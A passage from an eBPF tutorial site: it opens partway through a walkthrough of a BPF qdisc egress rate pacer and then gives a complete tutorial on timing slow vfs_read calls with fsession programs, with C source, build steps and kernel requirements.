The solid lines trace a packet's normal path: configuration and attachment, then enqueue into the FIFO, then dequeue to the transmit path. When the queue is full or allocation fails, packets take the policy-drop branch. If dequeue is called before a packet's transmission time, the node is pushed back to the front, a watchdog is scheduled, and NULL is returned; the watchdog later re-enters dequeue. The dashed lines show the lifecycle path: removing the qdisc triggers reset, which frees queued packets and zeros qlen and backlog.

Code Implementation

The implementation consists of four files: a shared header defining statistics, a compatibility header providing BPF graph-object declarations, the BPF program implementing qdisc callbacks, and a user-space loader that manages the lifecycle.

Shared Header

egress_pacer.h defines statistics shared between BPF and user space. These six counters categorize every packet outcome:

/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#ifndef __EGRESS_PACER_H
#define __EGRESS_PACER_H

struct pacer_stats {
    unsigned long long enqueued;
    unsigned long long dequeued;
    unsigned long long policy_dropped;
    unsigned long long cleanup_dropped;
    unsigned long long bytes_dequeued;
    unsigned long long max_qlen;
};

#endif /* __EGRESS_PACER_H */

enqueued / dequeued: Packets that successfully entered and left the FIFO.
policy_dropped: Packets dropped at enqueue because the queue was full or allocation failed.
cleanup_dropped: Packets still in the queue when reset runs. These were queued but never transmitted.
bytes_dequeued: Total bytes actually transmitted.
max_qlen: Peak queue depth observed.

Compatibility Header

BPF qdisc uses "graph-object" kfuncs, kernel functions for managing BPF-owned linked lists and objects. This local header provides the necessary declarations:

/* SPDX-License-Identifier: GPL-2.0 */
#ifndef __EGRESS_PACER_BPF_EXPERIMENTAL_H
#define __EGRESS_PACER_BPF_EXPERIMENTAL_H

#include <bpf/bpf_core_read.h>

#define __contains(name, node) \
    __attribute__((btf_decl_tag("contains:" #name ":" #node)))

extern void *bpf_obj_new_impl(__u64 local_type_id, void *meta) __ksym;
#define bpf_obj_new(type) \
    ((type *)bpf_obj_new_impl(bpf_core_type_id_local(type), NULL))

extern void bpf_obj_drop_impl(void *kptr, void *meta) __ksym;
#define bpf_obj_drop(kptr) bpf_obj_drop_impl(kptr, NULL)

extern int bpf_list_push_front_impl(struct bpf_list_head *head,
                    struct bpf_list_node *node,
                    void *meta, __u64 off) __ksym;
#define bpf_list_push_front(head, node) \
    bpf_list_push_front_impl(head, node, NULL, 0)

extern int bpf_list_push_back_impl(struct bpf_list_head *head,
                   struct bpf_list_node *node,
                   void *meta, __u64 off) __ksym;
#define bpf_list_push_back(head, node) \
    bpf_list_push_back_impl(head, node, NULL, 0)

extern struct bpf_list_node *
bpf_list_pop_front(struct bpf_list_head *head) __ksym;

#endif /* __EGRESS_PACER_BPF_EXPERIMENTAL_H */

These helpers let BPF code manage kernel objects safely:

bpf_obj_new allocates a new object of the given type.
bpf_obj_drop frees it.
bpf_list_push_back / bpf_list_push_front / bpf_list_pop_front implement a doubly-linked list.
The __contains macro generates a BTF tag telling the verifier what node type the list head contains, enabling safe ownership tracking.

BPF Program

egress_pacer.bpf.c implements the qdisc. The SEC(".struct_ops") declaration registers this as a Qdisc_ops implementation:

// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_experimental.h"
#include "egress_pacer.h"

const volatile __u64 rate_kbps = 1024;
const volatile __u32 queue_limit = 256;

struct packet_node {
    __u64 eligible_ns;
    __u32 packet_len;
    struct sk_buff __kptr *skb;
    struct bpf_list_node node;
};

private(A) struct bpf_spin_lock queue_lock;
private(A) struct bpf_list_head packet_queue __contains(packet_node, node);
private(A) __u64 next_departure_ns;

SEC("struct_ops/egress_pacer_enqueue")
int BPF_PROG(egress_pacer_enqueue, struct sk_buff *skb, struct Qdisc *sch,
         struct bpf_sk_buff_ptr *to_free)
{
    struct packet_node *packet;
    __u64 eligible_ns, interval_ns, now;
    __u32 packet_len = qdisc_packet_len(skb);

    if (sch->q.qlen >= sch->limit)
        goto drop;
    packet = bpf_obj_new(typeof(*packet));
    if (!packet)
        goto drop;

    now = bpf_ktime_get_ns();
    interval_ns = (__u64)packet_len * 8 * 1000000ULL / rate_kbps;
    packet->packet_len = packet_len;
    skb = bpf_kptr_xchg(&packet->skb, skb);

    bpf_spin_lock(&queue_lock);
    eligible_ns = next_departure_ns > now ? next_departure_ns : now;
    next_departure_ns = eligible_ns + interval_ns;
    packet->eligible_ns = eligible_ns;
    bpf_list_push_back(&packet_queue, &packet->node);
    sch->q.qlen++;
    sch->qstats.backlog += packet_len;
    bpf_spin_unlock(&queue_lock);
    return NET_XMIT_SUCCESS;

drop:
    bpf_qdisc_skb_drop(skb, to_free);
    return NET_XMIT_DROP;
}

SEC("struct_ops/egress_pacer_dequeue")
struct sk_buff *BPF_PROG(egress_pacer_dequeue, struct Qdisc *sch)
{
    struct bpf_list_node *node;
    struct packet_node *packet;
    struct sk_buff *skb = NULL;
    __u64 now = bpf_ktime_get_ns();

    bpf_spin_lock(&queue_lock);
    node = bpf_list_pop_front(&packet_queue);
    bpf_spin_unlock(&queue_lock);
    if (!node)
        return NULL;

    packet = container_of(node, struct packet_node, node);
    if (now < packet->eligible_ns) {
        bpf_spin_lock(&queue_lock);
        bpf_list_push_front(&packet_queue, &packet->node);
        bpf_spin_unlock(&queue_lock);
        bpf_qdisc_watchdog_schedule(sch, packet->eligible_ns, 0);
        return NULL;
    }

    skb = bpf_kptr_xchg(&packet->skb, skb);
    sch->q.qlen--;
    sch->qstats.backlog -= packet->packet_len;
    bpf_obj_drop(packet);
    return skb;
}

/* reset drains packet_queue and frees every remaining skb. */
SEC(".struct_ops")
struct Qdisc_ops pacer = {
    .enqueue = (void *)egress_pacer_enqueue,
    .dequeue = (void *)egress_pacer_dequeue,
    .init = (void *)egress_pacer_init,
    .reset = (void *)egress_pacer_reset,
    .destroy = (void *)egress_pacer_destroy,
    .id = "bpf_pacer",
};

Key data structures

The const volatile variables rate_kbps and queue_limit live in .rodata. User space writes them after open() but before load(), and the verifier treats them as compile-time constants thereafter.

The packet_node structure holds each queued packet:

eligible_ns: The earliest time this packet may transmit (in nanoseconds).
packet_len: The packet's length for backlog accounting.
skb: A __kptr field that owns the kernel socket buffer. The __kptr annotation tells the verifier this field holds an owned kernel pointer.
node: A bpf_list_node for linking into the FIFO.

The private(A) macro places the lock, list head, and departure timestamp in a private data section with proper alignment.

The enqueue callback

egress_pacer_enqueue receives a packet from the kernel:

Get the packet length from qdisc_skb_cb(skb)->pkt_len.
If the queue is at capacity, drop the packet.
Allocate a packet_node. If allocation fails, drop.
Compute when this packet may transmit: interval_ns = packet_len * 8 * 1000000 / rate_kbps (bits divided by kilobits/sec gives nanoseconds).
Transfer ownership of the skb to the node using bpf_kptr_xchg. After this call, the node owns the skb.
Under the spin lock, set the packet's eligible time. If the queue was idle (next_departure_ns is in the past), this packet can leave immediately; otherwise it waits behind the previous departure.
Push the node onto the FIFO, update counters, unlock, and return success.

The bpf_qdisc_skb_drop call handles dropped packets: it adds the skb to the kernel's free list and updates qdisc statistics.

The dequeue callback

egress_pacer_dequeue is called when the kernel wants a packet to transmit:

Pop the front node from the FIFO.
If the queue is empty, return NULL.
Check if the current time has reached eligible_ns. If not, push the node back to the front, schedule a watchdog timer for eligible_ns, and return NULL. The kernel will call dequeue again when the timer fires.
If ready, extract the skb from the node using bpf_kptr_xchg, decrement counters, free the node, update statistics, and return the skb.

The watchdog mechanism (bpf_qdisc_watchdog_schedule) is how BPF qdisc implements transmission timing: you tell the kernel when to wake you, and it calls dequeue at that time.

The reset callback

egress_pacer_reset runs when the qdisc is removed. Any packets still in the queue must be freed:

Loop through all nodes using bpf_for (a BPF helper for bounded iteration).
Pop each node, extract its skb, and free it with bpf_kfree_skb.
Count freed packets in cleanup_dropped.
Zero the departure timestamp and qdisc counters.

Registration

The SEC(".struct_ops") block at the end registers the callbacks as a Qdisc_ops structure. The id field ("bpf_pacer") is the name user space uses to instantiate this qdisc.

User-Space Loader

egress_pacer.c handles command-line arguments, configures the BPF program, attaches the qdisc, waits for the specified duration, and cleans up:

// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
#include <net/if.h>
#include <bpf/libbpf.h>
#include "egress_pacer.skel.h"

static struct {
    const char *interface;
    unsigned long long rate_kbps;
    unsigned int queue_limit;
    unsigned int duration;
} env = {
    .rate_kbps = 1024,
    .queue_limit = 256,
    .duration = 10,
};

/* Argument parsing, signal handling, and diagnostics are omitted here. */
static int parse_args(int argc, char **argv);
static int wait_for_duration(void);

int main(int argc, char **argv)
{
    struct egress_pacer_bpf *skel;
    struct bpf_tc_hook hook = {
        .sz = sizeof(hook),
        .attach_point = BPF_TC_QDISC,
        .parent = TC_H_ROOT,
        .handle = TC_H_MAKE(1 << 16, 0),
        .qdisc = "bpf_pacer",
    };
    bool qdisc_created = false;

    parse_args(argc, argv);
    hook.ifindex = if_nametoindex(env.interface);

    skel = egress_pacer_bpf__open();
    skel->rodata->rate_kbps = env.rate_kbps;
    skel->rodata->queue_limit = env.queue_limit;
    egress_pacer_bpf__load(skel);
    egress_pacer_bpf__attach(skel);

    if (!bpf_tc_hook_create(&hook))
        qdisc_created = true;

    printf("READY interface=%s rate_kbps=%llu queue_limit=%u duration=%u\n",
           env.interface, env.rate_kbps, env.queue_limit, env.duration);
    wait_for_duration();

    if (qdisc_created)
        bpf_tc_hook_destroy(&hook);
    printf("SUMMARY enqueued=%llu dequeued=%llu policy_dropped=%llu\n",
           skel->bss->stats.enqueued,
           skel->bss->stats.dequeued,
           skel->bss->stats.policy_dropped);
    egress_pacer_bpf__destroy(skel);
}

The loader follows a standard libbpf pattern:

Parse arguments and verify the interface exists with if_nametoindex.
Open the skeleton and write rate/queue limit to .rodata.
Load the BPF program (this verifies and JIT-compiles it).
Attach the struct_ops implementation, making bpf_pacer available as a qdisc type.
Create the root qdisc on the target interface with bpf_tc_hook_create.

The bpf_tc_hook_create call has exclusive semantics: if the interface already has a root qdisc, the kernel returns -EEXIST and the program exits without changing anything. For a root-qdisc conflict on the requested interface, the loader prints tc qdisc show dev IFACE and the recovery command sudo tc qdisc del dev IFACE root. A struct_ops name conflict is global rather than interface-local, so the loader instead prints tc qdisc show for every interface and does not guess which interface to modify. It never runs a destructive command automatically; remove a root qdisc only after confirming that the displayed bpf_pacer entry is stale. This safety measure means the tool is best suited for dedicated interfaces where you control the configuration.

After successful attachment, the program prints READY, then polls every 100ms until duration expires or a signal arrives. Cleanup order matters: first bpf_tc_hook_destroy (which triggers reset and frees queued packets), then read final statistics, then destroy the skeleton.

Compilation and Execution

Build from source:

cd src/53-egress-pacer
make clean
make -j2

Pick an interface you control and inspect its current root qdisc before attaching the pacer:

tc qdisc show dev veth-service

If the interface is available for this experiment, start the pacer and let normal application traffic pass through it:

sudo ./egress_pacer --interface veth-service --rate-kbps 64000 --queue-limit 256 --duration 30

The tool prints READY only after the qdisc is active. When the duration expires, its output has this shape:

READY interface=veth-service rate_kbps=64000 queue_limit=256 duration=30
SUMMARY enqueued=... dequeued=... policy_dropped=... cleanup_dropped=0 bytes_dequeued=... max_qlen=...

enqueued counts packets accepted by the qdisc, dequeued counts packets released to the device, and policy_dropped counts packets rejected when the queue was full. If the process is killed before normal cleanup and leaves bpf_pacer behind, the next run prints qdisc state across all interfaces. Find the interface whose line contains bpf_pacer, confirm that it is the stale instance, and then remove that actual root qdisc with sudo tc qdisc del dev ACTUAL_IFACE root.

Command-line options:

Usage: ./egress_pacer --interface IFACE [--rate-kbps KBPS] [--queue-limit PACKETS] [--duration SEC] [--verbose]

Options:
  -i, --interface IFACE       target interface (required)
  -r, --rate-kbps KBPS        egress rate in Kbit/s, 8-100000000 (default: 1024)
  -q, --queue-limit PACKETS   queue capacity in packets, 1-65535 (default: 256)
  -d, --duration SEC          how long to run, 1-86400 seconds (default: 10)
  -v, --verbose               print libbpf debug output
  -h, --help                  show help

When you see READY, the qdisc is installed and pacing traffic. When the duration ends (or you press Ctrl+C), the program removes the qdisc and prints SUMMARY.

Environment Requirements

BPF qdisc requires Linux 6.16 or later. Your kernel must have BTF and BPF JIT enabled:

Requirement	Minimum Version / Config
Linux kernel	6.16+
`CONFIG_BPF`	y
`CONFIG_BPF_SYSCALL`	y
`CONFIG_BPF_JIT`	y
`CONFIG_DEBUG_INFO_BTF`	y
`CONFIG_NET_SCHED`	y
`CONFIG_NET_SCH_BPF`	y
libbpf	1.6.0+
Privileges	root

The repository includes libbpf and bpftool in src/third_party. Use tc from iproute2 to inspect the target interface and recover a stale root qdisc if necessary.

Summary

This tutorial demonstrated BPF qdisc through a complete FIFO rate limiter:

enqueue takes ownership of packets and schedules transmission times based on packet length and rate.
dequeue uses the watchdog timer to wake at the right moment and returns packets to the kernel.
reset frees any packets still queued when the qdisc is removed.

These three phases (receiving packets, timing their release, and cleaning up) form a reusable pattern for custom scheduling disciplines.

This particular scheduler implements a single aggregate FIFO with fixed rate and queue limit set at load time. It is intentionally simple, suited for validating correctness on controlled interfaces. A production scheduler could build on this foundation to add fairness, dynamic policies, or state persistence across restarts.

To learn more about eBPF, check out our tutorial repository at https://github.com/eunomia-bpf/bpf-developer-tutorial or visit our website at https://eunomia.dev/tutorials/.

References

eBPF Tutorial: Tracing Slow vfs_read Calls with fsession

云微 — Mon, 17 Aug 2026 07:57:27 +0000

When a file-backed service shows read-latency spikes, application-level timing tells you that requests slowed down, but it cannot distinguish whether the kernel blocked on I/O or user-space logic took too long. The useful questions are: which thread issued the read, how many bytes did it request, what did the call return, and how long did that single vfs_read invocation take?

This tutorial demonstrates how to measure vfs_read call latency using the fsession mechanism introduced in Linux 7.0. fsession is a new eBPF program type that runs once at function entry and once at return, with built-in per-invocation storage for correlating the two phases. The tool we build timestamps function entry, computes latency at return, filters by process and threshold, and reports slow-read events through a ring buffer.

Complete source: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/52-fsession-latency

The Problem: Correlating Function Entry and Return

To measure how long a kernel function takes, you need to record a timestamp when it starts and compute the difference when it returns. This sounds simple, but the traditional approaches in eBPF all have drawbacks.

Traditional Approach: Two Programs with a Hash Map

The most common pattern uses two separate BPF programs - one attached to function entry (fentry), one to function return (fexit). The entry program records the timestamp in a hash map keyed by thread ID; the return program looks up the timestamp, computes latency, and deletes the entry:

Entry program:                          Return program:
1. Get thread ID                        1. Get thread ID
2. Get timestamp                        2. Look up timestamp from map
3. Store timestamp in hash map          3. Compute latency
                                        4. Delete entry from map
                                        5. Report event

This works, but has several problems:

Map overhead: Every function call requires a hash map insertion at entry and a lookup plus deletion at return. For high-frequency functions like vfs_read, this overhead adds up.
State leaks: If a thread is killed between entry and return (e.g., kill -9), the hash map entry is never deleted and leaks memory.
No intrinsic relationship: The two programs are completely independent. The only thing connecting them is the external hash map - there's no guarantee they're actually tracking the same function invocation.

kprobe/kretprobe: Same Pattern, Higher Overhead

The kprobe mechanism has the same two-program structure and requires the same external hash map for correlation. Additionally, kprobes work through a software breakpoint mechanism (replacing the first instruction with an interrupt), which has higher overhead than fentry hooks that use the kernel's ftrace infrastructure and JIT-optimized call sequences.

User-Space Sampling: Statistical, Not Precise

Tools like perf record sample stack traces periodically and can build statistical profiles of where time is spent. However, sampling cannot measure the latency of individual function calls. If you need to capture tail-latency events - the occasional 100ms read that causes a timeout - statistical sampling may miss them entirely.

The fsession Solution

Linux 7.0 introduced fsession, which solves the correlation problem at the kernel level. When you declare a BPF program with SEC("fsession/vfs_read"), the kernel:

Calls your program once when vfs_read enters
Allocates an 8-byte scratch area (the "session cookie") tied to this specific invocation
Calls your program again when vfs_read returns
Deallocates the session cookie

The key insight is that the session cookie is automatically managed and scoped to exactly one function invocation. Your program distinguishes entry from return using bpf_session_is_return(ctx), and reads or writes the cookie using bpf_session_cookie(ctx).

What the Session Cookie Replaces

In the traditional approach, you'd use a hash map like this:

// Traditional: hash map keyed by thread ID
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 10240);
    __type(key, u64);    // pid_tgid
    __type(value, u64);  // timestamp
} start SEC(".maps");

With fsession, this entire map disappears. The timestamp lives in the session cookie:

// fsession: per-invocation cookie, no map needed
__u64 *started = bpf_session_cookie(ctx);
*started = bpf_ktime_get_ns();

The cookie persists from entry to return and is automatically cleaned up afterward - no leaks possible.

Return-Phase Context Includes Function Arguments

Another fsession advantage: the return-phase context includes both the original function arguments and the return value. In the traditional approach, if you need access to function arguments at return time (e.g., to include the requested byte count in your event), you must store them in the hash map at entry. With fsession, arguments are directly available:

SEC("fsession/vfs_read")
int BPF_PROG(measure_vfs_read, struct file *file, char *buf, size_t count,
             loff_t *pos, ssize_t ret)
{
    // At return, 'count' and 'ret' are both available
    // No need to store 'count' anywhere at entry
}

Code Implementation

This tool consists of three files:

fsession_latency.h: Shared data structures for BPF and user space
fsession_latency.bpf.c: The BPF program that measures latency
fsession_latency.c: User-space loader that manages the BPF lifecycle and prints results

Shared Header

fsession_latency.h defines the event structure sent through the ring buffer and the aggregate statistics structure:

/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#ifndef __FSESSION_LATENCY_H
#define __FSESSION_LATENCY_H

#define FSESSION_COMM_LEN 16

struct latency_event {
    unsigned int pid;
    unsigned int tgid;
    unsigned long long requested;
    long long result;
    unsigned long long latency_ns;
    unsigned int device_major;
    unsigned int device_minor;
    unsigned long long inode;
    unsigned int mode;
    char comm[FSESSION_COMM_LEN];
};

struct latency_stats {
    unsigned long long calls;
    unsigned long long slow;
    unsigned long long errors;
    unsigned long long dropped;
};

#endif /* __FSESSION_LATENCY_H */

The four counters track:

calls: Total vfs_read invocations observed
slow: Calls that met or exceeded the latency threshold
errors: Calls where vfs_read returned a negative error code
dropped: Events that couldn't be submitted because the ring buffer was full

FSESSION_COMM_LEN is 16 to match the kernel's TASK_COMM_LEN.

Each event also carries device_major, device_minor, inode, and mode. The BPF program splits the kernel's raw s_dev encoding into its 12-bit major and 20-bit minor fields. Combined with i_ino, this gives a stable VFS object identity; i_mode lets user space print regular, fifo, character, and other object types.

BPF Program

fsession_latency.bpf.c is the core of the tool. Here is the complete kernel-side program:

// SPDX-License-Identifier: GPL-2.0
#define bpf_session_is_return bpf_session_is_return_vmlinux_snapshot
#define bpf_session_cookie bpf_session_cookie_vmlinux_snapshot
#include "vmlinux.h"
#undef bpf_session_is_return
#undef bpf_session_cookie
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "fsession_latency.h"

#define KERNEL_MINOR_BITS 20
#define KERNEL_MINOR_MASK ((1U << KERNEL_MINOR_BITS) - 1)

char LICENSE[] SEC("license") = "GPL";

const volatile __u64 threshold_ns;
const volatile __u32 target_tgid;

struct latency_stats stats;

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024);
} events SEC(".maps");

/*
 * The repository vmlinux.h snapshot predates the ctx argument on these
 * kfunc prototypes. Rename those stale declarations while including the
 * snapshot, then provide the Linux 7.0 signatures below.
 */
extern bool bpf_session_is_return(void *ctx) __ksym;
extern __u64 *bpf_session_cookie(void *ctx) __ksym;

SEC("fsession/vfs_read")
int BPF_PROG(measure_vfs_read, struct file *file, char *buf, size_t count,
         loff_t *pos, ssize_t ret)
{
    __u64 pid_tgid = bpf_get_current_pid_tgid();
    __u64 *started = bpf_session_cookie(ctx);
    struct latency_event *event;
    struct inode *inode;
    __u32 device;
    __u64 latency;

    if (!bpf_session_is_return(ctx)) {
        if (target_tgid && pid_tgid >> 32 != target_tgid) {
            *started = 0;
            return 0;
        }
        *started = bpf_ktime_get_ns();
        return 0;
    }

    if (!*started)
        return 0;

    latency = bpf_ktime_get_ns() - *started;
    __sync_fetch_and_add(&stats.calls, 1);
    if (ret < 0)
        __sync_fetch_and_add(&stats.errors, 1);
    if (latency < threshold_ns)
        return 0;

    __sync_fetch_and_add(&stats.slow, 1);
    event = bpf_ringbuf_reserve(&events, sizeof(*event), 0);
    if (!event) {
        __sync_fetch_and_add(&stats.dropped, 1);
        return 0;
    }

    __builtin_memset(event, 0, sizeof(*event));
    event->pid = (__u32)pid_tgid;
    event->tgid = pid_tgid >> 32;
    event->requested = count;
    event->result = ret;
    event->latency_ns = latency;
    inode = BPF_CORE_READ(file, f_inode);
    if (inode) {
        device = BPF_CORE_READ(inode, i_sb, s_dev);
        event->device_major = device >> KERNEL_MINOR_BITS;
        event->device_minor = device & KERNEL_MINOR_MASK;
        event->inode = BPF_CORE_READ(inode, i_ino);
        event->mode = BPF_CORE_READ(inode, i_mode);
    }
    bpf_get_current_comm(event->comm, sizeof(event->comm));
    bpf_ringbuf_submit(event, 0);
    return 0;
}

The walkthrough below explains the same program section by section.

// SPDX-License-Identifier: GPL-2.0
#define bpf_session_is_return bpf_session_is_return_vmlinux_snapshot
#define bpf_session_cookie bpf_session_cookie_vmlinux_snapshot
#include "vmlinux.h"
#undef bpf_session_is_return
#undef bpf_session_cookie
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "fsession_latency.h"

#define KERNEL_MINOR_BITS 20
#define KERNEL_MINOR_MASK ((1U << KERNEL_MINOR_BITS) - 1)

char LICENSE[] SEC("license") = "GPL";

The macro dance at the top is a compatibility workaround. The repository's vmlinux.h snapshot was generated before Linux 7.0 added a ctx argument to bpf_session_is_return and bpf_session_cookie. The macros rename the old declarations during the include, then we provide the correct signatures below. A vmlinux.h regenerated from kernel 7.0+ wouldn't need this.

const volatile __u64 threshold_ns;
const volatile __u32 target_tgid;

struct latency_stats stats;

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024);
} events SEC(".maps");

const volatile variables in BPF programs have special semantics. They're placed in the .rodata section and can be set by user space after opening the skeleton but before loading. Once loaded, the verifier treats them as compile-time constants, enabling optimizations like dead-code elimination when target_tgid is 0.

stats is a global variable in the .bss section, directly readable from user space after the program runs.

The ring buffer (events) is sized at 256 KB - enough for thousands of events before overflow.

/*
 * The repository vmlinux.h snapshot predates the ctx argument on these
 * kfunc prototypes. Rename those stale declarations while including the
 * snapshot, then provide the Linux 7.0 signatures below.
 */
extern bool bpf_session_is_return(void *ctx) __ksym;
extern __u64 *bpf_session_cookie(void *ctx) __ksym;

These are kfunc declarations - kernel functions exported for BPF programs to call. The __ksym attribute tells the verifier to resolve these symbols from the running kernel at load time, rather than expecting them to be defined in the BPF object.

SEC("fsession/vfs_read")
int BPF_PROG(measure_vfs_read, struct file *file, char *buf, size_t count,
         loff_t *pos, ssize_t ret)
{
    __u64 pid_tgid = bpf_get_current_pid_tgid();
    __u64 *started = bpf_session_cookie(ctx);
    struct latency_event *event;
    struct inode *inode;
    __u32 device;
    __u64 latency;

The SEC("fsession/vfs_read") tells the kernel this is an fsession program attached to vfs_read. The BPF_PROG macro expands to set up the standard tracing context; ctx is implicitly available for passing to kfuncs.

The function signature lists vfs_read's parameters followed by its return value. At entry, ret is undefined; at return, all parameters and the return value are valid.

    if (!bpf_session_is_return(ctx)) {
        if (target_tgid && pid_tgid >> 32 != target_tgid) {
            *started = 0;
            return 0;
        }
        *started = bpf_ktime_get_ns();
        return 0;
    }

Entry phase: First, check if we should filter this call. If target_tgid is set (non-zero) and the current process's TGID doesn't match, write 0 to the cookie to mark this invocation as "skip" and return. Otherwise, write the current monotonic timestamp to the cookie.

The TGID is in the upper 32 bits of bpf_get_current_pid_tgid()'s return value; the lower 32 bits are the thread ID (PID in kernel terms).

    if (!*started)
        return 0;

    latency = bpf_ktime_get_ns() - *started;
    __sync_fetch_and_add(&stats.calls, 1);
    if (ret < 0)
        __sync_fetch_and_add(&stats.errors, 1);
    if (latency < threshold_ns)
        return 0;

Return phase: If the cookie is 0, the entry phase filtered this call - return immediately. Otherwise, compute latency and update the aggregate counters. The __sync_fetch_and_add provides atomic updates since multiple CPUs may execute this program concurrently.

If the latency is below the threshold, we're done - the call is counted but no event is emitted. This keeps the ring buffer focused on slow calls.

    __sync_fetch_and_add(&stats.slow, 1);
    event = bpf_ringbuf_reserve(&events, sizeof(*event), 0);
    if (!event) {
        __sync_fetch_and_add(&stats.dropped, 1);
        return 0;
    }

    __builtin_memset(event, 0, sizeof(*event));
    event->pid = (__u32)pid_tgid;
    event->tgid = pid_tgid >> 32;
    event->requested = count;
    event->result = ret;
    event->latency_ns = latency;
    inode = BPF_CORE_READ(file, f_inode);
    if (inode) {
        device = BPF_CORE_READ(inode, i_sb, s_dev);
        event->device_major = device >> KERNEL_MINOR_BITS;
        event->device_minor = device & KERNEL_MINOR_MASK;
        event->inode = BPF_CORE_READ(inode, i_ino);
        event->mode = BPF_CORE_READ(inode, i_mode);
    }
    bpf_get_current_comm(event->comm, sizeof(event->comm));
    bpf_ringbuf_submit(event, 0);
    return 0;
}

For slow calls, increment the slow counter and try to reserve space in the ring buffer. If the reservation fails (buffer full), increment dropped so the user knows events were lost. On success, zero the event, copy call fields, and read object identity from file->f_inode before submitting it.

Note that both count and file are available directly - no need to store either at entry. This is the fsession advantage: function arguments persist to the return phase. The tool intentionally does not resolve a path; paths can be renamed or have multiple aliases. For a regular file, use the device to identify the mount and search it by inode, for example find /mount -xdev -inum INODE -print.

User-Space Loader

fsession_latency.c handles command-line parsing, BPF lifecycle management, and event consumption. The key sections:

Configuration via read-only data:

skel->rodata->threshold_ns = env.threshold_us * 1000;
skel->rodata->target_tgid = env.pid;

After opening the skeleton but before loading, user space writes the threshold (converted from microseconds to nanoseconds) and target TGID to the .rodata section. These become constants in the BPF program.

Ring buffer consumption:

static int handle_event(void *context, void *data, size_t size)
{
    const struct latency_event *event = data;

    printf("EVENT comm=%-16s tgid=%u pid=%u object=%u:%u:%llu type=%s "
           "requested=%llu result=%lld latency_us=%llu\n",
           event->comm, event->tgid, event->pid,
           event->device_major, event->device_minor, event->inode,
           file_type(event->mode), event->requested, event->result,
           event->latency_ns / 1000);
    events_printed++;
    return 0;
}

Each event is printed with the process name, IDs, VFS identity and type, requested bytes, return value, and latency in microseconds.

Clean shutdown sequence:

fsession_latency_bpf__detach(skel);

err = ring_buffer__consume(ring);
// ... error handling ...

printf("SUMMARY calls=%llu slow=%llu errors=%llu dropped=%llu events=%llu\n",
       skel->bss->stats.calls, skel->bss->stats.slow,
       skel->bss->stats.errors, skel->bss->stats.dropped, events_printed);

The shutdown order matters for correctness:

Detach the BPF program (stops new events from being generated)
Drain remaining events from the ring buffer
Read the final counter values (now stable since the program is detached)

This ensures events_printed matches the events actually delivered through the ring buffer.

Compilation and Execution

Build from source (the repository vendors libbpf 1.7.0 and bpftool v7.7.0):

cd src/52-fsession-latency
make clean
make -j2

Trace a specific service process for 30 seconds, reporting reads of 10 ms or longer:

SERVICE_PID=$(pgrep -n my-service)
sudo ./fsession_latency --pid "$SERVICE_PID" --threshold-us 10000 --duration 30

Note about PID namespaces: The --pid option compares against the TGID in the host (initial) PID namespace. If your target runs in a container with its own PID namespace, you need to find its host-visible TGID. Inside the container the process might be PID 1, but from the host it could be PID 12345. Use pgrep on the host or inspect /proc/<pid>/status for the NSpid line.

Command-Line Options

Usage: ./fsession_latency [--threshold-us USEC] [--duration SEC] [--pid TGID] [--verbose]

Options:
  -t, --threshold-us USEC  slow-read threshold (default: 1000 microseconds)
  -d, --duration SEC       trace duration, 1-86400 (default: 10 seconds)
  -p, --pid TGID           trace a specific process ID (default: all processes)
  -v, --verbose            print libbpf diagnostics
  -h, --help               show this help

Example Output

For example, a Python service waiting on a FIFO can produce this output when the writer responds after 50 ms:

Tracing vfs_read for 1 seconds; threshold=10000 us; pid=selected
EVENT comm=python3          tgid=1245 pid=1245 object=0:16:784 type=fifo requested=1 result=1 latency_us=50246
SUMMARY calls=66 slow=1 errors=0 dropped=0 events=1

The SUMMARY line shows:

66 total vfs_read calls were observed
1 was slow (met the threshold)
0 returned errors
0 events were dropped
1 event was printed

Environment Requirements

Requirement	Details
Kernel version	Linux 7.0+ (fsession first introduced)
BTF	Must be enabled (`CONFIG_DEBUG_INFO_BTF=y`)
Kernel config	`CONFIG_BPF=y`, `CONFIG_BPF_SYSCALL=y`, `CONFIG_BPF_JIT=y`, `CONFIG_BPF_EVENTS=y`, `CONFIG_DEBUG_INFO_BTF=y`, `CONFIG_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y`
BPF JIT	Must be enabled at runtime
Architecture	Tested on x86_64
Privilege	root

The upstream merge commit is f17b474e36647c23801ef8fdaf2255ab66dd2973.

Extending This Tool

The fsession pattern demonstrated here applies to any kernel function where you need to correlate entry and return. Some directions for extension:

Additional functions: Attach to vfs_write, vfs_fsync, or other VFS operations
File path filtering: Use file->f_path to filter by specific files or mount points
Stack traces: Add bpf_get_stackid() to capture kernel and/or user stack traces for slow calls
Histograms: Replace per-event reporting with latency histograms using BPF_MAP_TYPE_ARRAY
cgroup filtering: Add cgroup ID checks for container-aware tracing

The dropped counter remains the signal for ring buffer pressure - if it's growing, either increase the buffer size or raise the threshold to reduce event volume.

Summary

This tutorial demonstrated how to measure kernel function latency using the fsession mechanism in Linux 7.0. The key advantages over the traditional fentry/fexit with hash map approach:

Single program: One BPF program handles both entry and return, with bpf_session_is_return() distinguishing the phases
Built-in correlation: The 8-byte session cookie replaces the external hash map for passing data between phases
No state leaks: The kernel manages cookie lifecycle - no cleanup required, no leaks possible
Arguments available at return: Function parameters persist to the return phase without explicit storage

For this vfs_read example, that last property also lets the return phase report the VFS object's device, inode, and type. Treat the result as generic VFS-call latency; use the object identity for follow-up rather than assuming every slow event is a disk problem.

The pattern is simple: check bpf_session_is_return(), use bpf_session_cookie() for per-invocation state, and access arguments/return value directly. This applies wherever you need to correlate function entry and exit.

To learn more about eBPF, check out our tutorial repository at https://github.com/eunomia-bpf/bpf-developer-tutorial or visit https://eunomia.dev/tutorials/.

References

